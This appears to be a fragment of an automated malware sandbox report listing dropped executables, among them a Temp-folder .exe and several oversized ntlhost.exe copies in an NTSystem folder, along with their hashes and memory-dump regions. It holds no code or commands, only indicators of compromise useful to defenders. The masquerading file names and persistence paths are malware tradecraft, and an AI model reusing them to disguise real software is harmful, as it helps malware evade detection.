
      78d8d347bab1cea911f9c841654acef0

      SHA1

      81597af51260f0e810095374b3a997952dd67101

      SHA256

      7c849ca7534ee84e5e769f3f84f6af78121bc4e45b9888d1fdbfedd338b7e606

      SHA512

      77db0a76049cd38999753b7b7d0fb22ab6d5d5ae6727c2385526e2da5bdd7617e5a67f2e5419a06622a8e674ef810fa7cfe3d1bdefbb8a79253d890b07d39230

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\HJJJECFIEC.exe
      Filesize

      1.9MB

      MD5

      78d8d347bab1cea911f9c841654acef0

      SHA1

      81597af51260f0e810095374b3a997952dd67101

      SHA256

      7c849ca7534ee84e5e769f3f84f6af78121bc4e45b9888d1fdbfedd338b7e606

      SHA512

      77db0a76049cd38999753b7b7d0fb22ab6d5d5ae6727c2385526e2da5bdd7617e5a67f2e5419a06622a8e674ef810fa7cfe3d1bdefbb8a79253d890b07d39230

      Download Submit

    • C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      Filesize

      501.7MB

      MD5

      1f5b76d6309d7dcb503cf23043498834

      SHA1

      4b845c8ccdf97b4ae69c6435b16c249098517392

      SHA256

      0604f8a5f0da1d111cfcb689aca75ef4db2e19582e11992d164fd6c626cd2b05

      SHA512

      0ee6d7c73eab704fa1bafd8f3bf79501cb8ac9f40acac687e4c03f0bb1813badec07719b992a083fdbb22843b0380cf59895f1adcad44e4ae69bb0df32b7e9d9

      Download Submit

    • C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      Filesize

      511.0MB

      MD5

      7743b818139a5438b8546aca119fa83d

      SHA1

      c00150569fdf70f45452becdc45baa0dc78dde45

      SHA256

      8f9cf2561f3e5060e536f5387c32ec3523a17a1811d96f6995d3e5ddbbff793f

      SHA512

      7ba1980352ee091293b9289d24b55c7fc3ca198a7e9503f169faa6b7ef9dcd74f7614891106dac13a8240d67d125a98b8a166b30565bc12314dbb4bd24550eda

      Download Submit

    • C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      Filesize

      467.8MB

      MD5

      42d49a9edb48e9ba896e81105d87fb2a

      SHA1

      0b349d5f08bb24eb4100426ba041adeac9ab2930

      SHA256

      17d4a280ed006c618c296fc49047dac9300e44cca110dc5d83cb3ca848d0172c

      SHA512

      542546c2208a1ba854141fb7d7421e2e6720b4d354642500161b771de99144cfa370de5d5809c2de76f072125f2dc8ced691dc3c58a9ee95e977f43239162bd3

      Download Submit

    • memory/1516-215-0x0000000000400000-0x0000000002B03000-memory.dmp

      Filesize

      39.0MB

      Download

    • memory/1516-134-0x0000000004850000-0x0000000004865000-memory.dmp

      Filesize

      84KB

      Download

    • memory/1516-135-0x0000000061E00000-0x0000000061EF3000-memory.dmp

      Filesize

      972KB

      Download

    • memory/2784-214-0x0000000004BD0000-0x0000000004FA0000-memory.dmp

      Filesize

      3.8MB

      Download

    • memory/2784-216-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2784-218-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2784-222-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-227-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-226-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-225-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-228-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-230-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-231-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-232-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-233-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-234-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-235-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-236-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    • memory/2996-237-0x0000000000400000-0x0000000002C98000-memory.dmp

      Filesize

      40.6MB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.